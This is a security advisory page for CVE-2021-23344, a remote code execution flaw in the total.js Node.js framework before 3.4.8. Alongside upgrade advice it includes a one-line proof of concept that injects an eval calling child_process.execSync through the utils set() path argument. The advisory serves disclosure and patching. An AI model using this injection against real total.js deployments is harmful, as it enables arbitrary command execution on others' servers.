Remote Code Execution (RCE) Affecting total.js package, versions <3.4.8
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.43% (87th
percentile)
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Test your applications- Snyk ID SNYK-JS-TOTALJS-1077069
- published 4 Mar 2021
- disclosed 19 Feb 2021
- credit Chiao-Lin, Yu
Introduced: 19 Feb 2021
CVE-2021-23344 Open this link in a new tabHow to fix?
Upgrade total.js to version 3.4.8 or higher.
Overview
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.
PoC
// To be run in a nodejs console:
require('total.js/utils').set({},'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')
References
CVSS Scores
version 3.1